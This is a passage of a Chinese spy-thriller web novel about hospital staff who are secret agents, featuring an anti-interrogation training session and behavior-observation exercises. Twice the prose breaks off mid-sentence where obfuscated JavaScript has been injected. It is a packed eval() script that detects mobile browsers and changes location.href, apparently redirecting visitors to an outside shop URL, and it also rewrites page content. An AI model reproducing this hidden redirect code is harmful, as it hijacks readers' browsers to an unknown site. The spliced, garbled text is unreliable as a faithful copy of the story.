技术员查了查记录:“昨天下午,妇科钟医生来过一次,说是妇科有患者财物丢失,要查停车场的监控。她也看了这段,不过只看了几分钟就走了。” 关文晶眼神一凝:“她看了哪个时间段?” “跟您要的差不多,……周三晚上到周四早上。” “她说什么了吗?” “没有,就说画面看不清楚,可能是设备问题。” 关文晶道谢离开。走在回儿科病房的走廊里,她脑子里反复播放着那段闪烁的监控画面。 强电磁干扰。时间掐得刚刚好。钟妍妍提前查看。 巧合太多,就不是巧合了。 回到办公室,关文晶锁上门再次拿出那个备用手机。这次她没有打电话,而是编辑了一条加密短信: “监控疑似被干扰。干扰源可能是便携式电磁脉冲装置,覆盖范围精确,时间控制精准。非业余手段。钟医生的背景可能涉及电子对抗或信号情报。” 发送后,她删除了发件箱记录。 刚放下手机,办公室门被敲响。 关文晶深吸一口气,调整表情:“请进。”< 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那个曾经网球场上冲动易怒的毛头小子这近段似乎安静了不少。昨天在快餐店遇见时见他一个人坐在角落吃汉堡薯条,还低头看着手机,表情专注——不是玩游戏的专注,更像是在研究什么资料。 当时关文晶还以为他只是被尹柏萧训乖了。 但现在看来,可能不止如此。 如果钟妍妍在“训练”他呢? 训练什么?医学技能?不可能,钟妍妍是妇科医生,徐燕风是预科班学生, 专业不对口。除非……训练的不是医学。 关文晶想起自己接受过的那些训练:压力测试、情境模拟、反侦察意识。那些课程都有个共同目的——让一个人学会在危险环境中生存、观察、隐藏、反击。 而这座医院,这个“蛇窝”,恰恰就是最典型的危险环境。 她的手机震动了。不是备用机是日常用的智能机。屏幕上显示一条新邮件,发件是医院网安部,标题是“关于近期医院网络安全演练的通知”。 点开正文,内容很官方:为提高医院应急安全防护能力院方拟于下周开展为期三天的消防安全演练, 期间可能临时关闭部分网络服务,请各科室提前做好工作安排。 但关文晶注意到了两个细节。 第一,演练时间是下周三到周五——正好是钟妍妍每周固定的“无手术”时段。 第二,邮件末尾的密级标注处,有一个极小的图标,像是一条盘曲的蛇。那个图标,普通人不会注意,也看不懂。 但关文晶认识。 那是瑆洲军方蛇系特工的内部标识。在圣保罗医生只有蛇系特工能收到带这个图标的通知。 她盯着那个图标,手指慢慢收紧。 原来,这场游戏比她想象的更深。 钟妍妍在训练徐燕风。 而她关文晶,也即将接到自己的任务。 蛇窝里的每一条蛇,都在等待指令。 窗外的雨又大了,敲打着玻璃,声音密集如鼓点。 关文晶坐回办公桌前,打开电脑开始整理儿科本周的病例汇总。她的动作依然冷静、精准,像一个真正的医生该做的那样。 但只有她自己知道,此刻她的脑子里正在快速构建一张关系网:钟妍妍、徐燕风、尹柏萧、那辆被泼了人工血浆的车、那段被干扰的监控、下周的网络安全演练…… 所有这些碎片,都在某个更大的图案里找到了位置。 而她,关文晶,代号“锯鳞蝰”,已经嗅到了空气中弥漫的、同类相争的气息。 她关掉病例汇总,打开一个加密文档。文档里只有一行字: “不知钟妍妍的代号和来历。但初步怀疑她在培养新蛇……需观察其毒性成长速度及攻击倾向。” 她在后面补充: “幼体学习速度超出预期。训练内容疑似包含压力应对、信息筛选、对抗思维。监控干扰事件表明,训练方具备专业技术支持。建议:保持观察,暂不干预,但准备应对其首次实战测试。” 保存,加密,退出。 做完这些,关文晶站起身,走到窗边。雨幕中,医学院的教学楼显得模糊而遥远,像海市蜃楼。 她想起很多年前,自己刚接受训练时,教官说过的话:“在这个世界上,最危险的动物不是老虎,也不是狮子,而是蛇。因为蛇不会咆哮,不会宣战,它们只是静静地潜伏,等待,然后在最意想不到的时刻给出致命一击。” “而你关文晶,你要学会成为一条蛇。不是毒蛇,而是锯鳞蝰——那种被踩到才会反击,但一旦反击,就绝不松口的蛇。” 当时她不明白。 现在她明白了…… 这座医院里,到处都是蛇。而她,即将见证一条新蛇的诞生。或者,亲手测试它的毒性。 11. 反审讯生存课 周三下午三点,顶楼会议室的门缝里透出异样的光——不是平常的白炽灯光,而是一种偏冷调的LED白光,亮度调得很低,勉强照亮房间中央那一小片区域。 徐燕风推门时,听见门轴发出细微的“吱呀”声。这个声音上周还没有。 他走进去,瞳孔适应了两秒,才看清室内的布置。 又变了。 这次连病床和监护仪都不见了。房间中央孤零零地放着一把金属折叠椅,椅腿被焊接固定在地面的金属板上,无法移动。椅子正对面三米外,并排摆着两把普通的办公椅,椅子中间有个小茶几,上面放着一个录音笔和一个文件夹。 最引人注目的是照明:两盏可调节的LED灯从天花板垂下,光束精准地聚焦在金属椅上,形成一个明亮的光圈,而房间其他部分则隐没在昏暗里。角落里有台小型空调,正对着金属椅吹出低温的风,室温明显低于走廊。 墙角多了两面落地镜——不,不是镜子,是单向玻璃。徐燕风能隐约看见玻璃后房间的轮廓,但看不清里面是否有人。 他站在门口,书包滑到臂弯:“钟医生?” “进来。”钟妍妍的声音从单向玻璃的方向传来,但她本人不在视线内,“把门关上,书包放门口。” 徐燕风照做。门关上后,走廊的声音完全隔绝,房间里只剩下空调低沉的嗡鸣和LED灯轻微的电流声。空气里有种奇怪的静电场,让皮肤微微发紧。 “坐。”钟妍妍说。 徐燕风看向那把金属椅,犹豫了一秒,还是走过去坐下。椅面冰凉,椅背直挺,没有任何支撑腰部的弧度,坐上去不到十秒就开始不舒服。再加上空调冷风正对着他吹,他下意识地缩了缩肩膀。 “不要做小动作。”钟妍妍的声音透过隐藏的扬声器传来,音质干净得没有杂音,“保持标准坐姿:双脚平放地面,双手放在膝盖上,背部挺直但不要僵硬。目视前方——看到对面墙上那个红色圆点了吗?盯着它,不要移开视线超过三秒。” 徐燕风调整姿势,看向对面墙壁。那里确实贴了一个直径约五厘米的红色圆形贴纸,位置正好在他视线水平线上。 “今天的内容:反审讯生存基础。”钟妍妍说,“这不是医学院的课程,但在这个地方可能比解剖学更有用。” 她停顿了一下,空调的风突然调大了些,冷风直吹徐燕风的后颈。 “首先,明确几个概念。”钟妍妍的声音平稳得像在念教科书,“审讯的目的不是获得真相,而是获得口供。审讯者的所有手段——提问、施压、诱导、欺骗——都服务于这个目的。你的任务不是证明自己无辜,而是保持沉默,或者给出无害、一致、无法被证伪的回答。” 徐燕风盯着红点,眼睛开始发酸:“钟医生,我只是个学生,为什么会需要学这个?” “因为上周五,关文晶去了监控室。”钟妍妍的声音没有任何波澜,“她调取了停车场那段被干扰的监控。昨天下午,她又去要求调取你的课程表和出入记录——以‘调查故意破坏财物’的名义。虽然尹教官压下了申请,但这件事没有结束。” 徐燕风的手指微微收紧。 “如果有一天,你被正式问询,甚至被带到某个房间,面对不止一个人的提问,你要如何应对?”钟妍妍问,“是靠‘我没做’的否认?还是靠‘我不知道’的装傻?这些在专业审讯者面前,都是漏洞。” 房间里的灯光明暗调节了一下,光束更集中了。 “现在,模拟开始。”钟妍妍说,“我是问询者A。还会有问询者B,他会在适当时候加入。你现在的身份:医学院预科班学生徐燕风,涉嫌破坏医院员工财物,以及——可能涉及更严重的违纪行为。” 话音刚落,单向玻璃后的房间门打开,一个人走了出来。 徐燕风眯起眼适应光线,看清那人时愣了一下——不是钟妍妍,而是一个他从未见过的中年男人。穿着普通的衬衫西裤,身材中等,相貌平凡属于扔进人群就找不到的那种。但那人走路的方式很特别:脚步很轻,几乎无声,目光从进入房间起就锁定在徐燕风脸上,没有移开过一秒。 男人在办公椅上坐下,翻开文件夹,拿起录音笔按下录制键。 “徐小弟,”男人开口,声音温和,甚至有些亲切,“放轻松,我们今天只是聊一聊,澄清一些误会。” 徐燕风没说话,继续盯着红点。 “上周三晚上十点到周四早上六点,你在哪里?”男人问。 “在宿舍。”徐燕风答。 “整晚都在?” “是。” “有人可以证明吗?” “舍友都在。” “具体是谁?叫什么名字?” 徐燕风报了两个舍友的名字。何念曦,薛耀溪。 男人在文件夹上记录,笔尖划过纸张的声音在安静的房间里格外清晰:“目前没开学那你通常几点熄灯?” “十一点。” “熄灯后你在做什么?” “睡觉。” “你确定吗?”男人抬起头,眼神依然温和,“有没有可能,你中途出去过,而舍友已经睡着了,不知道?” 这是一个诱导性问题——徐燕风立刻意识到。如果他说“有可能”,就等于承认自己有机会作案。如果他说“确定没有”,那么万一有监控或目击者拍到他在外面,他的证词就彻底崩溃。 “我睡得很熟,……而且是一人一间房所以不清楚他们是否醒着。”徐燕风选择了一个中性的回答,“我只能这样说,宿舍也没有监控。” 男人点点头,没有继续追问这个点,而是换了个方向:“你和关医生有什么矛盾吗?” “有。” “我已经听说了,你和她是邻居,因为音响的问题一直在闹矛盾,数周前你在网球场用球砸中了她,当时你的道歉态度被多名目击者描述为‘轻浮’‘敷衍’。事后尹柏萧教官因此训斥了你。这件事是否让你对关医生产生不满?” 徐燕风感觉到心跳开始加速。他深吸一口气,强迫自己保持平稳的语调:“我当时确实态度不好但已经意识到错误。尹教官的训斥是应该的,我没有因此怨恨关医生。” “那你如何看待关医生的车被泼红漆——或者说,被泼人工血浆这件事?” “我认为是恶作剧,但做得很过分。” “如果是你,会做这种事吗?” 又一个陷阱。回答“不会”显得刻意,回答“可能会”等于承认倾向。 “我不知道。”徐燕风说,“我不是那种性格的人,所以很难想象自己会那么做。” 男人盯着他看了几秒,忽然问:“你右手虎口上的污渍是怎么回事?” 徐燕风心里一紧。他今天早上特意用酒精擦洗了好几遍但皮肤纹理里可能还有残留。而且这个男人怎么会知道?除非…… “在高中那边做化学时间时不慎沾到的红墨水。”徐燕风重复之前的说法。 “什么实验?” “酸碱指示剂制备,用到了酚酞和氢氧化钠。” “酚酞在碱性条件下变粉红色,不是鲜红色。”男人平静地指出,“而且红墨水通常含有酸性染料,应该会使酚酞褪色而不是显色。你在说谎吗?” 徐燕风的后背开始冒冷汗 。空调冷风一吹,凉意刺骨。他意识到自己犯了一个错误:在不知道对方专业背景的情况下,给出了一个可能被证伪的技术细节。 “我记错了。”他立刻纠正,“是甲基橙,在酸性条件下变红色。” “甲基橙的变色范围是pH3.1-4.4,红色出现在酸性侧,需要加酸。”男人继续追击,“你们实验室那天用了什么酸?” 徐燕风脑子飞快转动。基础化学实验常用的酸……盐酸?硫酸?但具体浓度和用量他不可能记得。如果说错,又会是一个破绽。 “我记不清了。”他选择后退,“实验是两周前做的,具体细节模糊了。” 男人没有穷追猛打,而是合上文件夹,身体前倾,双手交叉放在茶几上——这个姿势带着无形的压迫感。 “让我直说吧。”男人的声音依然温和但语速放慢了,“上周三晚上十一点二十三分你穿着深色连帽衫离开了宿舍楼。凌晨一点零七分返回。这中间的一个多小时,你在哪里?” 徐燕风的心脏猛跳了一下。是诈供? 他稳住呼吸:“你可能搞错了。我那晚没有离开过宿舍。” “我有照片。” “那可能不是我。” “你穿的那件连帽衫,左袖口有一道荧光绿的条纹,……是你最喜欢的摩托车同款配色。”男人说得很具体,“需要我描述一下画面里你的走路姿势吗?有点外八字,右肩比左肩微微靠前——这是长期骑摩托车的人常见的体态。” 徐燕风的手指掐进了掌心。对方描述得太准确了,准确到让他产生了一瞬间的动摇:难道监控真的拍到了?难道维修单是假的? 但他立刻压下这个念头。如果对方真有确凿证据,早就拿出来了,不会在这里绕圈子。 “我还是那句话,”徐燕风抬起眼,第一次直视那个男人,“我那晚在宿舍。如果你有照片请出示。如果没有,那就是误会。” 男人与他对视。房间里安静了五秒钟,只有空调的嗡鸣和录音笔的运转声。 然后,男人笑了。 不是嘲讽的笑,而是一种……赞许的笑。 “很好。”男人说,“你没有掉进‘提供更多细节来辩解’的陷阱。当对方提出看似具体的指控时,菜鸟会急于解释‘那天我的连帽衫在洗衣房’或者‘我走路不是那样’,而高手会要求对方先证明指控的真实性。” 他关掉录音笔,站起身:“第一轮结束。休息五分钟。” 男人走进单向玻璃后的房间,门关上。 徐燕风依然坐在金属椅上,这才发现自己后背的衣服已经湿透了。冷风一吹,他打了个寒颤。 灯光明亮了一些,不再那么刺眼。 钟妍妍从单向玻璃后走出来,手里拿着一个平板电脑。她在办公椅上坐下,调出一段视频——是刚才模拟的全过程,从三个角度拍摄:正面、侧面,还有一个是从天花板俯拍。 “回放分析。”她说,“第一个问题: 关于宿舍熄灯后的行踪。你的回答‘睡得很熟,不清楚舍友是否醒着’,表面中性,但隐含了一个防御性前提——‘我可能有机会出去’。 更好的回答是:‘我十一点上床,一觉睡到天亮。没有监控可以证明我在宵禁后离开。’直接把举证责任推回去。” 她快进到关于虎口污渍的部分:“第二个错误:你试图用技术细节辩解。记住,在面对审讯时,细节是你的敌人。你说的每一句具体的话,都可能被验证、被拆穿。除非你百分之百确定,否则永远不要提供可验证的细节。” 视频暂停在男人提出照片指控的画面。 “这里你做得不错。”钟妍妍难得地给出了肯定,“你识别出了诈供,并要求对方先提供证据。但你的生理反应暴露了紧张——看这里。” 她放大徐燕风的特写画面。在男人描述连帽衫细节时,徐燕风的瞳孔有瞬间的放大,喉结上下滚动了一次,右手中指无意识地敲击膝盖两下。 “微表情和微动作会出卖你。瞳孔放大表示信息接收引起强烈情绪波动;吞咽动作通常出现在紧张时唾液分泌增多;手指敲击是一种自我安抚的替代行为。这些细节,专业的审讯者会全部记录下来,作为判断你是否说谎的参考。” 她关掉平板,看向徐燕风:“现在,第二轮。这次我会加入,作为问询者B。我们的配合会更紧密,压力会更大。你准备好了吗?” 徐燕风深吸一口气,点头。 “但在这之前,”钟妍妍从文件夹里抽出一张纸,递给他,“先看看这个。” 那是一张黑白打印的照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他学会了用最简短的句子回答,避免提供多余信息。学会了在对方沉默时,也保持沉默,而不是用说话来填补空白。学会了在遇到无法回答的问题时,说“我不清楚”或者“我需要时间回忆”,而不是编造答案。 他甚至开始尝试反观察:从提问的侧重方向,推测对方掌握了哪些信息,还在试探哪些领域。从钟妍妍记录时的停顿,判断哪些问题才是真正的重点。 当男人第三次试图用“有人看见你……”的句式诈供时,徐燕风平静地回答:“请让那位目击者来和我当面对质。” 男人和钟妍妍对视了一眼。 “很好。”钟妍妍终于开口,声音恢复了平时的语调,“模拟结束。” 灯光明亮起来,空调调小了。那个陌生男人对徐燕风点了点头,收起文件夹和录音笔,一言不发地离开了会议室。 房间里只剩下钟妍妍和徐燕风。 徐燕风从金属椅上站起来,腿有些发麻。他活动了一下肩膀,发现肌肉因为长时间保持紧绷而酸痛。 钟妍妍走到小推车旁,倒了两杯水,递给他一杯。 “总结。”她喝了一口水,“你今天最大的进步是学会了控制信息输出。但还有几个问题:第一,初期仍然有下意识的防御姿态——当你感到被攻击时,会微微后仰,这是想要拉开距离的本能。第二,你在思考如何回答时,眼睛会向右上方看,这是典型的‘构建画面’的微表情,暗示你在想象场景,而不是回忆事实。第三……” 她停顿了一下:“第三,你对何念曦的保护倾向过于明显。当问题涉及到她时,你的回答会出现明显的情绪波动。这会成为你的软肋。” 徐燕风握着水杯,水温透过纸杯传递到掌心。他没有反驳。 “记住,”钟妍妍看着他,“在这个地方,感情用事会害死你,也会害死你在意的人。真正的保护不是挺身而出,而是不让任何人知道你在保护谁。” 她走到窗边,推开窗户。傍晚的风吹进来,带着城市的气息,冲淡了房间里压抑的空气。 “下周的课暂停一次。”钟妍妍说,“你有其他任务。” “什么任务?” “观察。”钟妍妍转身,“从下周一开始,医院会进行网络安全演练。我要你观察三件事:第一,哪些系统被优先保护,哪些被故意暴露。第二,哪些科室的反应最异常——是过度紧张,还是过度平静。第三,哪些人在演练期间的行踪最难以追踪。” 她走回徐燕风面前,递给他一个小巧的U盘:“这里面有一个加密日志模板。每天记录你的观察,用我教你的方法——只记录事实,不记录推测。周五下午交给我。” 徐燕风接过U盘,金属外壳冰凉。 “这是……实战测试?”他问。 “算是。”钟妍妍说,“理论课教得再多,不如一次真实的观察训练。而且……” 她看向窗外,远处医学院的屋顶在夕阳下泛着金光。 “而且,我也想看看,在这个蛇窝开始骚动的时候,一条初生的眼镜蛇,会选择躲起来,还是游出去探探风向。” 徐燕风顺着她的目光看去。暮色渐浓,医院的灯光逐一亮起,像无数只眼睛在黑暗中睁开。 他握紧了U盘。 “我会观察。”他说。 钟妍妍点点头,开始收拾设备。徐燕风走到门口,拿起书包,回头看了一眼。 单向玻璃在灯光下反射出他自己的倒影——一个穿着普通运动衫的医学院学生,脸上还带着些许稚气,但眼神里已经有了别的东西。 像蛇一样的东西。 他拉开门,走进走廊。 门在身后关上,隔绝了那个充满压力的房间。但徐燕风知道,有些东西已经回不去了。 就像蜕过一次皮的蛇,再也缩不回旧壳里。 他低头看了看手里的U盘,将它放进书包最里层的暗袋。 然后他抬起头,走向楼梯间。 脚步很轻,几乎没有声音。 像蛇一样。 12. 行为分析实践 周五下午,医院走廊的日光灯在早来的雷雨云下显得格外苍白。钟妍妍和徐燕风并肩站在三楼连接主楼和门诊部的空中连廊里,这个位置像个天然的观察台—— 下方是医院主大厅,人来人往;左右两侧的走廊通往不同科室,医护人员、患者、家属穿梭如织。 钟妍妍今天没穿白大褂,而是套了件浅灰色的开衫,看起来像个普通的访客。她递给徐燕风一个平板电脑,屏幕上是医院内部的平面图,几个位置被标记了红点。 “第一个观察目标:急诊科护士长,李凯蒂。”钟妍妍的声音压得很低,几乎被大厅的嘈杂淹没,“她每天下午四点会从急诊科出来,穿过大厅去行政楼交报表。观察时间:五分钟。” 徐燕风低头看了眼平板,急诊科的位置被标红。他抬眼看向大厅另一端,急诊科的双开门紧闭着,上面红色的“急诊”灯牌亮着。 四点零二分,门开了。 一个五十岁上下的女护士走了出来,步伐很快但步幅均匀,手里拿着一个深蓝色的文件夹。她穿着标准的护士服,但胸牌别得特别端正,头发一丝不苟地盘在脑后,连鬓角的碎发都用发胶固定住了。 “开始记录。”钟妍妍说。 徐燕风在平板调出的观察日志里输入: 【对象:李凯蒂,急诊科护士长】 【时间:16:02】 【动线:急诊科→大厅东侧→行政楼入口】 【步态:快速、稳定,无停留或张望】 【手持物:一个深蓝色硬壳文件夹,左手握持,手指紧握边缘】 【视线方向:直视前方,偶尔低头看手表(两次,间隔约30秒)】 【与他人互动:经过咨询台时对护士点头,未交谈;在自动扶梯前遇到一位拄拐的老人,侧身让路,但没有伸手搀扶或询问】 李凯蒂的身影消失在行政楼入口。 “分析。”钟妍妍说。 徐燕风思考了几秒:“她赶时间。握文件夹的手指很紧,说明在意内容或怕丢失。两次看手表确认时间,步速恒定但偏快,表明她给自己设定了严格的时间窗口,必须在某个时间点前到达或返回。与同事点头但不交谈,对患者让路但不主动帮助——她把任务优先级放在人际互动之上,说明要么任务很紧急,要么她性格如此,或者两者兼有。” “还有呢?” 徐燕风又看了一眼李凯蒂消失的方向:“她的胸牌别得特别正,头发一丝不苟。这种过度的整齐通常有两种可能:一是强迫倾向,二是需要借助外在的秩序感来对抗内心的压力。考虑到她是急诊科护士长,长期面对混乱和突发状况,后者的可能性更大。” 钟妍妍微微点头:“不错。但漏了一个细节:她左手握文件夹。李凯蒂是右利手,平时签名、操作设备都用右手。为什么用左手拿重要文件?” 徐燕风愣了一下,重新调出记录:“……因为右手要空出来应对突发状况?急诊科人员随时可能被叫住处理问题,用非利手拿东西,利手保持自由,这是长期训练形成的习惯?” “正确。”钟妍妍在平板上划了一下,调出第二个标记点,“下一个:骨科副室长,张克帆。他在门诊部三号诊室,今天下午有专家门诊。观察时间十分钟。” 两人从空中连廊下楼,穿过大厅,走向门诊部。这个时间段门诊人已经少了很多,候诊区只坐着零星几个患者。 三号诊室的门关着,门口的电子屏显示“张克帆副室长,当前就诊:7号”。 钟妍妍和徐燕风在候诊区找了个不起眼的位置坐下。钟妍妍从包里拿出一本医学杂志佯装阅读;徐燕风则掏出手机,假装玩游戏,但摄像头悄悄对准了三号诊室门口。 两分钟后,门开了。 一个六十岁左右的男患者拄着拐杖走出来,脸上带着笑意,边走边回头说:“谢谢张医生!”接着,一个穿着白大褂的中年男医生送他到门口——正是张克帆先生。他大约四十五岁,身材微胖,头发稀疏,戴着一副金边眼镜。 张克帆站在门口,目送患者走到候诊区才转身回诊室。关门之前,他抬手整理了一下白大褂的领子,手指在胸牌上停留了一瞬,像是确认位置。 “记录。”钟妍妍头也不抬地说。 徐燕风在手机上快速输入: 【对象:张克帆,骨科副主任】 【时间:16:15】 【场景:送患者离开诊室】 【行为:站在门口目送患者直到候诊区,整理衣领和胸牌】 【表情:微笑(职业性),眼神跟随患者移动】 【与患者距离:约1.5米,保持在社交距离内】 诊室门关上。 “分析。”钟妍妍翻了一页杂志。 “他注重形象。”徐燕风说,“整理衣领和胸牌是下意识的动作,说明他在意自己在患者面前的仪表。目送患者离开并保持微笑,是典型的‘服务型’医生态度,旨在建立信任和好感。但他没有主动搀扶那位拄拐的老人,也没有送到电梯口——互动有明确的边界感。” 他顿了顿:“而且他站在门口目送的时间,刚好足够候诊区其他患者看见‘张医生亲自送患者出来’这一幕。这可能有表演成分。” 钟妍妍合上杂志:“继续观察。” 接下来的八分钟里,三号诊室又进出两位患者。张克帆每次都送到门口,每次都整理衣领,每次都目送患者走出一段距离。但徐燕风注意到一个变化:第二位患者是年轻女性,张克帆站在门口的时间比第一位长了三秒,笑容也更明显。第三位患者是个中年男性,张克帆只是送到门口,点头示意,没有目送。 “补充分析。”徐燕风在记录里加了一条,“他对不同患者的互动模式有差异。对年轻女性患者更热情,对老年患者礼貌但保持距离,对中年男性最简略。这可能反映了他的个人偏好,或者……他在评估患者的‘价值’?” “什么价值?” “社交价值?或者更直白地说,哪些患者可能带来更多回报——比如介绍其他病人、写感谢信、甚至私下送礼。”徐燕风说,“当然,这只是推测。” 钟妍妍看了眼时间:“最后一个目标:你自己选。” “我选?” “大厅里随便选一个人,观察三分钟,给出分析。”钟妍妍收起杂志,“现在开始。” 徐燕风环顾大厅。下午四点半,人流已经稀疏。咨询台有两个护士在交接班,自动扶梯上站着几个拿着化验单的人,候诊区角落里坐着一个穿格子衬衫的年轻男人,正在看手机。 他选择了那个年轻男人。 【对象:未知,男性,约25-30岁】 【位置:大厅西南角候诊区】 【衣着:灰色格子衬衫,牛仔裤,运动鞋,背包放在脚边】 【行为:低头看手机,但屏幕常亮,没有滑动或点击动作;每30-45秒抬头扫视大厅入口,然后继续看手机】 【身体姿势:坐在椅子边缘,背部没有靠实,双腿微微分开,脚尖朝向外侧(随时准备站起的姿态)】 【手持物:手机(右手),左手空置,手指在膝盖上无意识敲击】 【面部表情:眉头微皱,嘴唇抿紧,呼吸频率略快(从肩部轻微起伏判断)】 三分钟到。 “分析。”钟妍妍说。 “他在等人。”徐燕风说,“而且是等一个可能迟到或不确定是否会来的人。频繁看入口、坐姿紧张、无意识地敲手指,都表明焦虑。手机屏幕常亮但没有操作,说明他只是在用手机作为‘避免与人眼神接触’的工具,或者在看时间。” 他补充道:“他的背包放在脚边而不是身旁空椅上,表明他警惕财物安全,可能包里有重要物品。格子衬衫和牛仔裤是普通装扮,但运动鞋很新,鞋底干净——他今天特意穿了新鞋,可能是为了给人好印象,或者要见的人很重要。” 钟妍妍看着那个年轻男人,忽然说:“去验证一下。” “验证?” “走过去,用不超过三句话,套出他在等谁。”钟妍妍的语气不容置疑,“用我教你的方法:观察、判断、行动。” 徐燕风深吸一口气,站起身。他调整了一下表情,让自己看起来像个普通的路人,然后走向候诊区。 他在年轻男人旁边的空位坐下,中间隔了一个座位。坐下时,他故意让书包滑落,几本书散在地上——都是医学院的教材。 “不好意思。”徐燕风蹲下捡书,抬头对年轻男人抱歉地笑了笑。 年轻男人看了他一眼,点点头,视线又转向大厅入口。 徐燕风捡完书,没有立刻离开,而是坐在那里翻看一本《病理学》。翻了几页,他像是随口说道:“等人啊?我也在等我同学,说好四点半在这碰头,结果现在还没来。” 年轻男人转过头,苦笑了一下:“是啊,我也在等。约了四点钟,这都四点半了。” “女朋友?”徐燕风问,语气轻松得像闲聊。 “不是,是我姐。”年轻男人说,“她在这医院工作,说今天下班早,带我一起去吃饭。结果临时又说要加班。” “医生?” “嗯,儿科的护士。” 徐燕风心里一动。儿科?他脑海里迅速闪过几个名字,但表面不动声色:“那估计还得等会儿。儿科经常有突发状况。” “是啊,她说有个小患者病情突然变化要处理一下。”年轻男人叹了口气,终于把手机收进口袋,“我再等十分钟,不来我就自己先走了。” “理解。”徐燕风站起身,拍了拍书包,“那我先去别处转转,说不定我同学也堵路上了。祝你等到姐姐。” “谢谢。” 徐燕风走回钟妍妍身边,两人一起离开候诊区,走向楼梯间。 “结果?”钟妍妍问。 “在等他姐姐,儿科护士,因患者病情变化加班。”徐燕风复述,“我的分析基本正确:等人、焦虑、对方迟到。唯一没料到的是等的是亲属而不是约会对象。” “已经足够准确。”钟妍妍说,“更重要的是,你验证分析的方式很自然——用共同处境建立共鸣,用闲聊获取信息,没有引起对方警惕。” 他们走到二楼,这里是儿科病房区。走廊里飘荡着消毒水和儿童食品混合的味道,墙壁漆成浅蓝色,贴着卡通贴纸。 就在这时,前方传来争吵声。 一个三十多岁的女人抱着一个约四五岁的小男孩,正对着一间病房门口的护士大声说话,语气激动:“我说了我们要转院!为什么不给我们办手续?!” 护士是个年轻姑娘,看起来有些无措,但还在努力解释:“王太太,您儿子的检查还没做完,医生建议……” “建议什么建议!我儿子在这里烧了三天都没退,你们只会说‘再观察’!” 女人声音提高,“我要转去市立儿童医院!现在!立刻!” 小男孩在女人怀里哭了起来,小脸通红明显在发烧。 徐燕风和钟妍妍停在几步外,没有靠近。钟妍妍低声说:“观察,预测。” 徐燕风快速扫视现场。 女人穿着居家服,头发凌乱,眼睛下有黑眼圈——孩子生病她可能几天没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937030|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡好。她抱着孩子的姿势很紧,几乎是把孩子箍在怀里,这是一种保护性也是焦虑性的姿态。她的音量很大,但在走廊这种公共空间,她似乎不在意被其他人听见,说明情绪已经压倒社交顾忌。 护士年轻,经验不足,面对激动的家属本能地后退了小半步,双手在身前微微抬起——是安抚也是防御姿势。她眼神不时瞟向护士站方向,显然在求助。 病房门开着里面传来监护仪的“滴滴”声。 “预测。”钟妍妍重复。 徐燕风脑子飞快运转:“三十秒内会有资深护士或医生出来介入。大概率是女性,年资较高,因为年轻护士已经示弱了。介入者会先安抚家属情绪,同时暗示‘转院手续需要时间不如先让孩子接受紧急处理’。如果家属不接受,矛盾会升级,可能需要保安介入。” 话音刚落,护士站方向果然走来一个四十岁左右的女护士,胸牌上写着“护士长”。她步伐稳健,脸上带着职业性的关切表情。 “王太太,怎么了?”护士长的声音温和但有力,“小宝还发着烧呢,咱们别在走廊吵先进病房好吗?我让医生再过来看看。” 女人抱着孩子后退一步:“我不进去!我要办转院!” “转院当然可以,但需要主治医生评估和签字,还要等接收医院确认床位。”护士长耐心解释,“这个过程至少要一两个小时。您看小宝脸这么红,咱们先给他用点退烧药,让孩子舒服一点,同时我去催手续,行吗?” 她一边说,一边自然而然地伸手去碰孩子额头试探体温。女人没有躲闪——这个肢体接触是故意的,是为了建立信任。 小男孩哭得更厉害了。 “我要见关医生!”女人突然说,“关文晶医生!她昨天说如果我儿子今天还不退烧,她会考虑换方案!我要见她!” 徐燕风和钟妍妍对视了一眼。 “关医生在手术室,还有一个小时才结束。”护士长说,“但她交代过如果小宝体温超过39度,可以用备用方案。药已经准备好了,咱们先进去好吗?我保证,如果用药一小时后没改善,我亲自帮您催转院手续。” 女人犹豫了。她低头看着怀里哭闹的儿子又看了看护士长最终咬牙点头:“好,但我只等一小时!一小时后没好转,我立刻带孩子走!” “好的,没问题。”护士长示意年轻护士去取药,自己则陪着女人走进病房。 走廊恢复安静。 徐燕风看向钟妍妍。 “预测准确率80%。”钟妍妍评价,“你预见到了资深护士的介入和安抚策略,但没预见到家属会点名关文晶——这说明你对儿科内部的人员关系网还不够了解。关文晶显然是这个患儿的主治或会诊医生,家属对她的信任度高于其他医护。这种信息,应该从护士站的排班表、病历车上的标签、甚至医护人员之间的称呼中提前捕捉。” 她顿了顿:“不过,能在几秒钟内做出基本准确的预测,已经超出预期。” 两人继续往楼梯间走。徐燕风忍不住问:您带我做这些观察练习,最终目的是什么?让我成为一个能看穿人心的人? 钟妍妍在楼梯口停下脚步。窗外,雷雨云终于压了下来,第一道闪电划破天空,几秒后传来沉闷的雷声。 “目的是让你活着。”她重复了之前说过的话,但这次解释得更具体,“在这个医院 ,每个人都在演戏。患者演痛苦或坚强,家属演关心或宽容,医生演专业或亲切,护士演耐心或忙碌。但在这层表演之下,是真实的恐惧、欲望、算计、背叛。” 她转过身,看着徐燕风:“你要学会看穿表演,看到背后的真实动机。因为只有这样,你才能知道谁可能在下一秒捅你一刀,谁可能在危险时拉你一把,谁的话可以相信,谁的微笑是毒药。” 雷声再次滚过,走廊的灯闪烁了一下。 “下周一,”钟妍妍说,“网络安全演练开始。那会是更好的观察场——当系统瘫痪、秩序被打乱时,人们的表演会露出破绽。我要你抓住那些破绽,记录下来。” 她递给徐燕风一个眼神:“现在你知道怎么做了。” 徐燕风点头。 两人在楼梯口分开。钟妍妍回妇科,徐燕风往医学院走。 